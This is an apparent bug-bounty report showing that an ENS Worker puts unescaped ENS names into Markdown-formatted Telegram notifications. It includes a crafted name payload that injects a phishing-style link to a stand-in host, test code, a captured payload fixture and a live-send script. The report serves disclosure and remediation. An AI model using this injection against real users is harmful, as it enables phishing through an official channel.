92986 w a insight ens worker allows telegram markdown injection
Submitted on Sep 13th 2026 at 16:53:55 UTC by @mussucal for Audit Competition | ENS
- Report ID: #92986
- Report Type: Websites & Apps
- Report severity: Insight
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Injecting/modifying the static content on the target application without JavaScript (persistent), such as:
- HTML injection without JavaScript
- Replacing existing text with arbitrary text
- Arbitrary file uploads, etc.
Description
Brief/Intro
The ENS Worker sends expiry-reminder notifications through an official Telegram bot. It builds each message with parse_mode: 'Markdown' and interpolates the ENS name straight into the message body and a button URL with no escaping. The name reaching that code is the raw on-chain name, and notifications are delivered not only to a name's owner but to every user who favourited it.
An attacker registers a name whose text is itself Markdown — for example a label containing [⚠️ Renew now](https://ens-renew.example). When that name nears expiry, the Worker generates an official-bot message in which the attacker's … link sequence appears verbatim, and it selects every non-owner who favourited the name as a recipient. The injected sequence is standard Telegram Markdown link syntax; when Telegram parses it, it renders as a clickable link the attacker controls, inside a message from the official ENS bot.
This is an active content-injection primitive: the attacker persistently controls text and links rendered in an official ENS notification delivered to other users. It is not a display-quirk and not a passive look-alike — the attacker chooses the injected content.
Vulnerability Details
Security invariant. Attacker-controlled ENS name data must remain literal text when incorporated into an official Telegram notification; it must not create new Markdown entities or attacker-controlled links. This finding demonstrates that invariant broken: the name creates a text_link entity to an attacker-controlled destination.
- Root cause — the name is interpolated into a Markdown sink with no escaping
services/delivery/templates/telegram.ts, the name-expiry template (lines 28–49), verbatim:
ts 'name-expiry': (payload) => { const daysLeft = Math.ceil( (payload.expiryDate - Date.now()) / (1000 * 60 * 60 * 24), )
const ownerText = payload.isOwner ? Your domain \${payload.name}` will expire in ${daysLeft} days.\n\nDon't forget to renew your domain! :The domain `${payload.name}` you're watching will expire in ${daysLeft} days.`
return { text: ⚠️ *Domain Expiration Alert*\n\n${ownerText}, parseMode: 'Markdown', buttons: [ [ { text: '🔄 Renew Now', url: https://app.ens.domains/${payload.name} } ], ], } },
payload.name is placed, unescaped, into (a) the message body inside a … code span, in a string emitted with parseMode: 'Markdown', and (b) the button URL. There is no escaping or sanitization helper anywhere on this path. This is the vulnerability: attacker-controlled data entering a Markdown-parsed trusted message without escaping.
The only fact the finding needs here: the application selects parse_mode: 'Markdown' while interpolating attacker-controlled payload.name without escaping, and the live Telegram API response (see the rendering-boundary appendix) demonstrates that the resulting sequence is parsed into a text_link entity whose destination is the attacker-controlled URL.
- Handoff — the generated message is forwarded to Telegram unchanged
services/delivery/telegram.ts, deliverTelegramNotification (lines 57–73), verbatim:
const message = template(
deliveryJob.notification.payload as AnyPersonalNotificationPayload,
)
…
const result = yield* makeTelegramRequest(botToken, 'sendMessage', {
chat_id: deliveryJob.target,
text: message.text, // forwarded unchanged
parse_mode: message.parseMode, // 'Markdown'
reply_markup: replyMarkup,
})
The Worker submits the generated text and parse_mode to Telegram's sendMessage with no transformation. HANDOFF-1 in the PoC drives this real function and captures the exact outbound payload, confirming the injected markup and parse_mode: 'Markdown' reach the API call intact. This is an ENS-Worker action — the Worker constructs attacker-controlled Markdown and submits it to Telegram with Markdown parsing enabled. Telegram is the rendering/delivery substrate, not the vulnerable asset.
- Reach — favourited names deliver to non-owners
queues/event-ingestion.ts, collectRecipientsForEvent (lines 75–106): if event.includeFavorites, every user in favoriteUsersByName.get(event.name) is added as a 'favourited' recipient. The template's non-owner branch — "The domain … you're watching …" — serves exactly them. So the injected message reaches any user who favourited the attacker's name, which is the app's supported way to watch a name's expiry (gated by the favourited_name_expiry preference). This is what makes the primitive cross-user rather than self-affecting. REACH-1 in the PoC drives this real function and asserts a favouriting non-owner is returned as a recipient.
- Persistence — the raw name is stored verbatim in the payload
queues/event-ingestion.ts, processExpiryEvents (lines 223–233): the notification payload is built with name: event.name — the raw name from the indexer — with no normalization or escaping. It is stored and later handed to the template at delivery time. The attacker-controlled name is therefore retained in the expiry notification payload and reused when the corresponding expiry notification is generated: the injected content is not a single reflected request but is stored as part of the notification data and can recur across the notification lifecycle.
- Enabling condition (not the root cause) — ENS names can carry Markdown metacharacters
The payload requires a name containing characters such as backtick, [, ], (, ). ENS registration performs no character normalization on-chain (the registrar operates on the labelhash of arbitrary bytes), so such a name is registrable. This is only the enabling condition — it is how the attacker constructs the payload, not the defect. The defect is that the Worker treats that name as trusted Markdown content. Even independently of look-alike concerns, a name containing a single backtick or [ is enough to inject.
Not a duplicate — distinct sink and root cause
A known issue (EXP-INPUT-005, "validators accept inputs that normalization later rejects") concerns ENS accepting deceptive/invalid characters — that is an input-primitive issue, the same class as the enabling condition in §5. This report is not that finding.
That is about what names ENS accepts — an input-primitive issue. This is about a specific sink: the Worker interpolating an attacker-controlled name into a Markdown-parsed official notification without escaping, and delivering it cross-user.
Escaping the Telegram message (the fix here) does not touch name-acceptance or profile display; normalizing name input (the fix for the input-primitive issues) does not remove this sink — an unescaped *, _, or [ surviving in any allowed name still injects, and the Worker must not trust that upstream normalization occurred. Different root cause, different fix. Under the program's known-issue policy, a new consequence arising from a distinct root cause is in scope; the normalization gap is merely the payload-construction enabler, cited for completeness.
Impact Details
High — persistent content injection in the in-scope ENS Worker notification channel.
The in-scope vulnerable asset is workers/api-worker. The Worker constructs an official ENS notification from attacker-controlled ENS name data and submits that data to Telegram with Markdown parsing enabled. The demonstrated impact is persistent attacker-controlled content injection into an official ENS communication channel:
the attacker controls the ENS name containing the injected Markdown; the Worker persists and reuses that name in expiry notification payloads; the notification is delivered to users who favourited the name, including non-owner recipients; the Worker emits attacker-controlled Markdown syntax in the official notification; the live Telegram boundary confirms that the payload is parsed into a text_link entity whose destination is controlled by the attacker.
This is a persistent, non-JavaScript content-injection primitive. The vulnerable code and required fix are entirely within the in-scope Worker; Telegram is only the downstream rendering/delivery substrate.
The vulnerable asset is an in-scope ENS Worker that constructs and submits persistent attacker-controlled notification content, delivered through the project's official ENS notification channel to other users. We therefore map the finding to the program's persistent, non-JavaScript content-injection category. The report does not claim that Telegram itself is vulnerable, and does not assert that Telegram is the target application.
Not Critical / not XSS. Telegram Markdown is not HTML or JavaScript execution. The demonstrated primitive is attacker-controlled clickable-link / markup injection, which is the High content-injection category — not the Critical "malicious HTML or XSS" category. We do not claim XSS.
Live rendering proof. The exact payload produced by the Worker was submitted to a tester-controlled Telegram bot/chat. Telegram returned ok: true and a text_link entity whose url exactly matched the attacker-controlled destination. Therefore the attacker-controlled Markdown emitted by the Worker is not merely syntactic text: Telegram accepted it as a clickable link. No victim interaction is required to establish the vulnerability — the tester-controlled bot/chat is sufficient to demonstrate the rendering boundary. (Full API response in the rendering-boundary appendix.)
Security significance (stated as significance, not an executed step). Attacker-controlled links injected into a high-trust official channel are a phishing vector. This report proves the injection primitive and the rendering boundary; it does not claim any victim interaction, click, or downstream compromise.
PoC descriptions
INJ-1
Drives: Real telegramTemplates['name-expiry']
Proves: A crafted name produces message text containing attacker-controlled Markdown link syntax, …, with parseMode: 'Markdown'. Prints the exact generated text.
INJ-2
Drives: Real template
Proves: The button URL embeds the raw, unescaped name.
INJ-3 — Control
Drives: Real template
Proves: A benign name yields no ]( link syntax, so INJ-1's link is the injection rather than a constant.
HANDOFF-1
Drives: Real deliverTelegramNotification, mocking only the DB and outbound HTTP client
Proves: The exact sendMessage payload the Worker hands Telegram carries the injected markup and parse_mode: 'Markdown' unchanged. Prints the captured payload.
REACH-1
Drives: Real collectRecipientsForEvent
Proves: A non-owner who favourited the name is returned as a 'favourited' recipient.
INJ-TELEGRAM — Opt-in Live Test
Drives: Telegram Bot API, with a bot and chat controlled by the tester
Proves: Sending the real template's exact payload returns ok: true and a text_link entity whose url is the attacker-controlled destination — Telegram rendered the Worker payload as a clickable attacker link.
Execution condition: Skipped unless TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID are set.
INJ-2 documents a secondary sink (the raw name in the button URL); the finding does not depend on it — the message-body Markdown injection (INJ-1 → HANDOFF-1 → INJ-TELEGRAM) is sufficient on its own.
What is executed and what is not
Executed against real in-scope code: the message build (INJ-1/2/3), the Worker→Telegram sendMessage handoff (HANDOFF-1, DB and HTTP client mocked at their boundaries only), and the recipient selection (REACH-1). Executed at the external boundary (opt-in): Telegram's rendering of the emitted Markdown as a clickable attacker link (INJ-TELEGRAM), confirmed from Telegram's own API response (ok: true + a text_link entity with the attacker URL). Off by default so the suite runs with no credentials; on when the tester supplies a bot and chat they control. Cited, not executed: the on-chain registrability of a name containing Markdown metacharacters (the enabling condition), consistent with the registrar applying no normalization.
Repo files under test (unmodified — for reviewer reference)
workers/api-worker/src/services/delivery/templates/telegram.ts :28-49 (build; the sink — root cause) workers/api-worker/src/services/delivery/telegram.ts :57-73 (sendMessage handoff, unchanged) workers/api-worker/src/queues/event-ingestion.ts :75-106 (collectRecipientsForEvent; reach) workers/api-worker/src/queues/event-ingestion.ts :223-233 (raw name persisted in payload) workers/api-worker/src/services/expiry-discovery/indexer.ts :13-28 (name sourced raw from subgraph)
Steps to run the PoC
Prerequisites Node.js ≥ 22, pnpm@10.27.0 (the repo's packageManager)
Step 0 — clone and install
git clone https://github.com/immunefi-team/audit-comp-ens.git
cd audit-comp-ens
git checkout audit-comp-ready
pnpm install
Step 1 — place the attached file workers/api-worker/src/services/delivery/telegram-markdown-injection.audit.test.ts
Step 2 — run it
cd workers/api-worker
npx vitest run src/services/delivery/telegram-markdown-injection.audit.test.ts
Expected output — 5 passed (the passes are the finding: the Worker emits attacker Markdown, forwards it to Telegram unchanged, and delivers it cross-user). The run prints the exact generated message and the captured sendMessage payload so the injected link is visible in the output:
✓ INJ-1 crafted name injects attacker-controlled Markdown link syntax into the message text ✓ INJ-2 the "Renew Now" button URL embeds the raw, unescaped name ✓ INJ-3 control: a normal name produces no injected link syntax ✓ HANDOFF-1 the exact sendMessage payload forwards the injected markup + parse_mode 'Markdown' ✓ REACH-1 a non-owner who favourited the name is a 'favourited' recipient ↓ INJ-TELEGRAM (skipped — no TELEGRAM_BOT_TOKEN / TELEGRAM_CHAT_ID)
Test Files 1 passed (1) Tests 5 passed | 1 skipped (6) Step 3 — the external rendering boundary (opt-in live test)
This closes the last gap: that Telegram parses the Worker's exact payload into an attacker-controlled clickable link. It needs a Telegram bot and a chat you control — no victim, no phishing site, no wallet, no funds, no production ENS user.
Create a bot with Telegram's @BotFather and copy its token. Start a chat with your bot (or add it to a group) and obtain the numeric chat_id (e.g. send the bot a message, then read https://api.telegram.org/bot/getUpdates). Optionally point the injected link at an endpoint you control so you can also observe the click arriving:
cd workers/api-worker
M13_URL="https://<your-controlled-domain>/m13" \
TELEGRAM_BOT_TOKEN="<token from @BotFather>" \
TELEGRAM_CHAT_ID="<your chat id>" \
npx vitest run src/services/delivery/telegram-markdown-injection.audit.test.ts
INJ-TELEGRAM now runs. It sends the real template's exact payload and asserts Telegram's response is ok: true with a text_link entity whose url is M13_URL. Expected tail:
✓ INJ-TELEGRAM Telegram parses the Worker payload into an attacker-controlled text_link
Tests 6 passed (6)
The printed [INJ-TELEGRAM] Telegram API response block shows Telegram's own parse result — the text_link entity carrying your attacker-controlled URL — and the message arrives in your chat from the bot with ⚠️ Renew immediately as a live clickable link. Screenshot it for the report if you want the visual alongside the API proof.
Appendix — captured run output (executed offline PoC)
Verbatim from a run of the attached spec (INJ-1 and HANDOFF-1 print their artifacts):
[INJ-1] generated message.text: ⚠️ Domain Expiration Alert
The domain a⚠️ Renew immediatelyb.eth you're watching will expire in 3 days.
[HANDOFF-1] outbound sendMessage payload: { "chat_id": "victim-chat-id", "text": "⚠️ Domain Expiration Alert\n\nThe domain a⚠️ Renew immediatelyb.eth you're watching will expire in 3 days.", "parse_mode": "Markdown", "reply_markup": { "inline_keyboard": [ [ { "text": "🔄 Renew Now", "url": "https://app.ens.domains/a`[⚠️ Renew immediately](https://ens-renew.example/connect)`b.eth" } ] ] } }
✓ INJ-1 ✓ INJ-2 ✓ INJ-3 ✓ HANDOFF-1 ✓ REACH-1 Tests 5 passed (5)
The attacker controls the injected link's visible text (⚠️ Renew immediately) and its destination. The identical string is present in the message body and in the outbound sendMessage payload with parse_mode: "Markdown", confirming the injection survives the real Worker's build → deliver path unchanged. (The 🔄 Renew Now button is the Worker's own legitimate control; the injection of concern is the message-body link.)
Appendix — external rendering boundary (executed live via the Telegram Bot API)
Sending the exact Worker output — the captured HANDOFF-1 payload (fixture m13-handoff-payload.json, byte-verified against templates/telegram.ts) — to a Telegram bot and chat controlled by the tester returned, from Telegram's own API (identifiers redacted):
{
"ok": true,
"result": {
"from": { "is_bot": true, "username": "<audit-bot>" },
"chat": { "type": "private" },
"text": "⚠️ Domain Expiration Alert\n\nThe domain a⚠️ Renew immediatelyb.eth you're watching will expire in 3 days.",
"entities": [
{ "offset": 3, "length": 23, "type": "bold" },
{ "offset": 39, "length": 1, "type": "code" },
{ "offset": 40, "length": 20, "type": "text_link", "url": "https://ens-renew.example/connect" },
{ "offset": 60, "length": 5, "type": "code" },
{ "offset": 97, "length": 6, "type": "bold" }
],
"link_preview_options": { "url": "https://ens-renew.example/connect" }
}
}
The payload sent is the exact Worker output (byte-verified against templates/telegram.ts, ASCII apostrophe in "you're"; sent verbatim from the captured HANDOFF-1 fixture). With ok: true, the Markdown ⚠️ Renew immediately was consumed: the visible text "⚠️ Renew immediately" (offset 40, length 20) is returned as a text_link entity whose url equals the attacker-controlled destination, and link_preview_options.url is that same URL.
Stated precisely, to the exact boundary the evidence reaches: Telegram accepted the in-scope Worker's exact Markdown payload and returned the resulting message with a text_link entity whose destination equals the attacker-controlled URL — a machine-verifiable parser/rendering result from Telegram's own API, not an inference. Per the Telegram Bot API, text_link is the entity type for clickable text URLs.
Supplementary visual evidence (m13-telegram-render.png): the delivered message as rendered in a Telegram client. The attacker-chosen label "⚠️ Renew immediately" appears as a link-styled (clickable) text link, between the a and b.eth code spans left by the code-span breakout — visually confirming the text_link entity from the API response. This screenshot is corroboration, not the basis of the proof.
References
Vulnerable code (root cause — in-scope Worker)
workers/api-worker/src/services/delivery/templates/telegram.ts:28-49 — raw payload.name in a parse_mode: 'Markdown' body and button URL, unescaped workers/api-worker/src/services/delivery/telegram.ts:57-73 — forwards message.text + parse_mode to sendMessage unchanged workers/api-worker/src/queues/event-ingestion.ts:75-106 — non-owner favouriters are recipients workers/api-worker/src/queues/event-ingestion.ts:223-233 — raw event.name persisted in the payload
Standards / references
Telegram Bot API — formatting options; user-controlled substrings must be escaped: https://core.telegram.org/bots/api#formatting-options ENSIP-15 — ENS name normalization (the standard the on-chain label bypasses; enabling condition only): https://docs.ens.domains/ensip/15
Proof of Concept
Proof of Concept
workers/api-worker/src/services/delivery/telegram-markdown-injection.audit.test.ts
/**
* Audit anchor — the in-scope Worker builds an official ENS Telegram
* notification from an unescaped attacker-controlled ENS name, injecting
* persistent attacker-controlled Markdown, and delivers it to non-owner
* favouriters.
*
* These assert OBSERVED behaviour of the REAL Worker code, so the PASSES are the
* finding. What is proven here (executed):
*
* INJ-1/2/3 the real `telegramTemplates['name-expiry']` emits the attacker's
* `[…](…)` link SYNTAX into a `parse_mode: 'Markdown'` message.
* HANDOFF-1 the real `deliverTelegramNotification` forwards that generated
* text + parse_mode to Telegram's sendMessage UNCHANGED (DB and the
* outbound HTTP client mocked at their boundaries only).
* REACH-1 the real `collectRecipientsForEvent` selects a non-owner who
* favourited the name as a recipient.
* INJ-TELEGRAM (live, opt-in) sends the REAL template's exact payload to a
* Telegram bot/chat YOU control and asserts Telegram parsed it into
* an attacker-controlled `text_link` — i.e. Telegram rendered the
* Worker's payload as a clickable attacker link. Runs only when
* TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID are set; otherwise skipped.
*
* Run (offline, 5 tests):
* cd workers/api-worker
* npx vitest run src/services/delivery/telegram-markdown-injection.audit.test.ts
*
* Run (with the live Telegram rendering test, 6 tests) — bot + chat you control:
* M13_URL="https://<your-controlled-domain>/m13" \
* TELEGRAM_BOT_TOKEN="<your bot token from @BotFather>" \
* TELEGRAM_CHAT_ID="<your chat id>" \
* npx vitest run src/services/delivery/telegram-markdown-injection.audit.test.ts
*/
import { describe, expect, it, vi } from 'vitest'
// Capture bucket for the outbound Telegram payload, hoisted so the vi.mock
// factory can close over it.
const h = vi.hoisted(() => ({ sent: [] as Array<Record<string, unknown>> }))
// Mock ONLY the outbound Telegram HTTP client (and the keyboard helper) at the
// boundary the delivery function calls. Everything else in the delivery path is
// the real Worker code.
vi.mock('#services/telegram/utils.js', async () => {
const { okAsync } = await import('neverthrow')
return {
makeTelegramRequest: (_token: string, _method: string, payload: Record<string, unknown>) => {
h.sent.push(payload)
return okAsync({ message_id: 1 })
},
createInlineKeyboard: (buttons: unknown) => ({ inline_keyboard: buttons }),
}
})
import { collectRecipientsForEvent } from '../../queues/event-ingestion.js'
import { deliverTelegramNotification } from './telegram.js'
import { telegramTemplates } from './templates/telegram.js'
// The attacker-controlled destination. Any https URL proves the primitive; point
// it at an endpoint you control to also observe the click arriving.
const M13_URL = process.env.M13_URL ?? 'https://ens-renew.example/connect'
// A label an attacker can register (ENS does not normalize on-chain — this is
// the enabling condition, not the vulnerability). It closes the code span the
// template wraps the name in, injects a Markdown link, then re-opens one.
const EVIL_NAME = `a\`[⚠️ Renew immediately](${M13_URL})\`b.eth`
const INJECTED_LINK = `](${M13_URL})`
const basePayload = (name: string) => ({
name,
expiryDate: Date.now() + 3 * 24 * 60 * 60 * 1000,
isOwner: false,
watchReason: 'favourited' as const,
})
describe('the in-scope Worker emits attacker-controlled Markdown in the official ENS notification', () => {
it('INJ-1: crafted name injects attacker-controlled Markdown link syntax into the message text', () => {
// biome-ignore lint/suspicious/noExplicitAny: audit harness builds a minimal payload
const msg = telegramTemplates['name-expiry'](basePayload(EVIL_NAME) as any)
// Evidence capture — the exact generated message the Worker will send:
console.log('[INJ-1] generated message.text:\n' + msg.text)
expect(msg.text).toContain(INJECTED_LINK) // attacker link syntax, unescaped
expect(msg.parseMode).toBe('Markdown') // will be parsed as Markdown by Telegram
})
it('INJ-2: the "Renew Now" button URL embeds the raw, unescaped name', () => {
// biome-ignore lint/suspicious/noExplicitAny: audit harness
const msg = telegramTemplates['name-expiry'](basePayload(EVIL_NAME) as any)
console.log('[INJ-2] button url:', msg.buttons?.[0]?.[0]?.url)
expect(msg.buttons?.[0]?.[0]?.url).toBe(`https://app.ens.domains/${EVIL_NAME}`)
})
it('INJ-3 control: a normal, normalized name produces no injected link syntax', () => {
// biome-ignore lint/suspicious/noExplicitAny: audit harness
const msg = telegramTemplates['name-expiry'](basePayload('vitalik.eth') as any)
expect(msg.text).not.toContain('](')
})
})
describe('the Worker forwards the injected message to Telegram unchanged', () => {
it('HANDOFF-1: the exact sendMessage payload carries the injected markup + parse_mode Markdown', async () => {
h.sent.length = 0
// Fake DB at the exact boundary deliverTelegramNotification uses: it reads a
// delivery row with the stored notification payload, then writes a status
// update. No real database is involved.
const fakeDb = {
query: {
notificationDeliveries: {
findFirst: async () => ({
target: 'victim-chat-id',
notification: { payload: basePayload(EVIL_NAME) },
}),
},
},
update: () => ({ set: () => ({ where: async () => undefined }) }),
// biome-ignore lint/suspicious/noExplicitAny: audit harness fakes the DB boundary
} as any
const res = await deliverTelegramNotification(
'test-bot-token',
fakeDb,
// biome-ignore lint/suspicious/noExplicitAny: audit harness
{ id: 'delivery-1', kind: 'name-expiry' } as any,
)
expect(res.isOk()).toBe(true)
expect(h.sent).toHaveLength(1)
const payload = h.sent[0]
// Evidence capture — the exact payload handed to Telegram's sendMessage:
console.log('[HANDOFF-1] outbound sendMessage payload:\n' + JSON.stringify(payload, null, 2))
expect(payload.text as string).toContain(INJECTED_LINK) // forwarded unchanged
expect(payload.parse_mode).toBe('Markdown')
})
})
describe('the injected message is delivered to non-owners who favourited the name', () => {
it('REACH-1: a non-owner favouriter is a favourited recipient', () => {
const event = {
type: 'name_expiring',
name: EVIL_NAME,
expiryDate: 1_700_000_000,
stage: 'expired',
owner: '0x000000000000000000000000000000000000dEaD',
includeFavorites: true,
// biome-ignore lint/suspicious/noExplicitAny: audit harness builds a minimal ExpiryEvent
} as any
const ownerToUserId = new Map<string, string>() // attacker name has no app-user owner
const favoriteUsersByName = new Map<string, Set<string>>([
[EVIL_NAME, new Set(['victim-user-id'])],
])
const recipients = collectRecipientsForEvent(
event,
ownerToUserId,
favoriteUsersByName,
)
expect(recipients.get('victim-user-id')).toBe('favourited')
})
})
// The final external boundary. Opt-in: runs only with a bot + chat YOU control.
// Sends the REAL template's exact payload and asserts Telegram parsed it into an
// attacker-controlled clickable link (a `text_link` entity whose url is M13_URL).
const live = process.env.TELEGRAM_BOT_TOKEN && process.env.TELEGRAM_CHAT_ID
const liveIt = live ? it : it.skip
describe('Telegram renders the exact Worker-generated payload as a clickable attacker link', () => {
liveIt(
'INJ-TELEGRAM: Telegram parses the Worker payload into an attacker-controlled text_link',
async () => {
// biome-ignore lint/suspicious/noExplicitAny: audit harness
const msg = telegramTemplates['name-expiry'](basePayload(EVIL_NAME) as any)
const resp = await fetch(
`https://api.telegram.org/bot${process.env.TELEGRAM_BOT_TOKEN}/sendMessage`,
{
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({
chat_id: process.env.TELEGRAM_CHAT_ID,
text: msg.text,
parse_mode: msg.parseMode,
reply_markup: { inline_keyboard: msg.buttons },
}),
},
)
const body = (await resp.json()) as {
ok: boolean
result?: { entities?: Array<{ type: string; url?: string }> }
description?: string
}
console.log('[INJ-TELEGRAM] Telegram API response:\n' + JSON.stringify(body, null, 2))
// ok:true means Telegram accepted and PARSED the Markdown entities
// (malformed markdown returns 400 "can't parse entities").
expect(body.ok).toBe(true)
// The [text](url) rendered as a clickable link entity pointing at the
// attacker-controlled destination.
const link = (body.result?.entities ?? []).find((e) => e.type === 'text_link')
expect(link?.url).toBe(M13_URL)
},
20_000,
)
})
workers/api-worker/m13-handoff-payload.json
{
"_comment": "The exact sendMessage payload the real ENS Worker emits for a crafted name, as captured executed by HANDOFF-1 (telegram-markdown-injection.audit.test.ts) and byte-verified against services/delivery/templates/telegram.ts:35 (ASCII apostrophe in \"you're\"). chat_id is added by m13-telegram-render.mjs at send time.",
"text": "⚠️ *Domain Expiration Alert*\n\nThe domain `a`[⚠️ Renew immediately](https://ens-renew.example/connect)`b.eth` you're watching will expire in *3 days*.",
"parse_mode": "Markdown",
"reply_markup": {
"inline_keyboard": [
[
{
"text": "🔄 Renew Now",
"url": "https://app.ens.domains/a`[⚠️ Renew immediately](https://ens-renew.example/connect)`b.eth"
}
]
]
}
}
workers/api-worker/m13-telegram-render.mjs
/**
* M-13 — external rendering boundary check (standalone, no vitest / no Workers pool).
*
* It sends the EXACT payload the in-scope ENS Worker emits and asserts, from
* Telegram's own API response, that Telegram parsed it into an
* attacker-controlled `text_link` entity. Needs a Telegram bot + chat YOU
* control — no victim, no phishing site, no wallet, no funds, no production user.
*
* Payload source (in priority order):
* 1. ./m13-handoff-payload.json — the exact sendMessage payload captured
* executed by HANDOFF-1 (real template + real delivery function), byte-
* verified against services/delivery/templates/telegram.ts. This is the
* "real Worker output -> captured payload -> live Telegram" chain.
* 2. Fallback: a byte-exact reconstruction of that template output (ASCII
* apostrophe, matching the source), parameterised by M13_URL.
*
* Create a bot with @BotFather; get chat_id from
* https://api.telegram.org/bot<token>/getUpdates (after messaging the bot).
*
* Run:
* TELEGRAM_BOT_TOKEN="<token>" TELEGRAM_CHAT_ID="<chat id>" node m13-telegram-render.mjs
* (Fallback mode only, if the fixture is absent, also set M13_URL="https://<you>/m13".)
*/
import { existsSync, readFileSync } from 'node:fs'
import { fileURLToPath } from 'node:url'
const token = process.env.TELEGRAM_BOT_TOKEN
const chatId = process.env.TELEGRAM_CHAT_ID
if (!token || !chatId) {
console.error('Set TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID.')
process.exit(1)
}
const fixturePath = fileURLToPath(new URL('./m13-handoff-payload.json', import.meta.url))
let text
let replyMarkup
let mode
if (existsSync(fixturePath)) {
const f = JSON.parse(readFileSync(fixturePath, 'utf8'))
text = f.text
replyMarkup = f.reply_markup
mode = 'fixture: exact captured HANDOFF-1 Worker output (byte-verified vs template source)'
} else {
// Byte-exact reconstruction of services/delivery/templates/telegram.ts name-expiry
// (non-owner branch). ASCII apostrophe in "you're", matching the source.
const url = process.env.M13_URL ?? 'https://ens-renew.example/connect'
const name = 'a`[⚠️ Renew immediately](' + url + ')`b.eth'
text =
'⚠️ *Domain Expiration Alert*\n\n' +
"The domain `" + name + "` you're watching will expire in *3 days*."
replyMarkup = {
inline_keyboard: [[{ text: '🔄 Renew Now', url: `https://app.ens.domains/${name}` }]],
}
mode = 'byte-exact reconstruction of the template output (ASCII apostrophe)'
}
// Derive the attacker-controlled destination from the message text itself, so
// the assertion checks what the payload actually carries.
const m = /\]\((https?:\/\/[^)\s]+)\)/.exec(text)
const expectedUrl = m ? m[1] : null
const payload = { chat_id: chatId, text, parse_mode: 'Markdown', reply_markup: replyMarkup }
console.log(`payload source: ${mode}`)
console.log(`attacker-controlled destination in payload: ${expectedUrl}\n`)
console.log('Sending to Telegram:\n' + JSON.stringify(payload, null, 2))
const resp = await fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify(payload),
})
const body = await resp.json()
console.log('\nTelegram API response:\n' + JSON.stringify(body, null, 2))
// Evidence-gated assertions (all four must hold):
// 1. Telegram accepted & parsed the Markdown (malformed -> HTTP 400 / ok:false)
// 2. a text_link entity exists
// 3. its url === the attacker-controlled destination in the payload
// 4. the rendered message text still carries the attacker-chosen visible label
const link = (body.result?.entities ?? []).find(
(e) => e.type === 'text_link' && e.url === expectedUrl,
)
const labelPresent = typeof body.result?.text === 'string' && body.result.text.includes('Renew immediately')
if (body.ok && link && labelPresent) {
console.log(
'\n✅ M-13 rendering boundary CONFIRMED. Telegram accepted the Worker’s exact Markdown\n' +
' payload and returned a text_link entity whose destination equals the attacker-\n' +
` controlled URL:\n ${link.url}\n` +
' Visible attacker-chosen label "Renew immediately" is present in the parsed message.\n' +
' (This proves Telegram parsed the payload into an attacker-controlled link entity; a\n' +
' screenshot of the message is supplementary visual evidence, not the basis of the proof.)',
)
} else {
console.log(
'\n❌ Not confirmed. Checks -> ok:' + body.ok +
' text_link_to_expected_url:' + Boolean(link) +
' label_present:' + labelPresent +
'. If ok:false with "can’t parse entities", the markdown was rejected; otherwise inspect entities above.',
)
process.exit(1)
}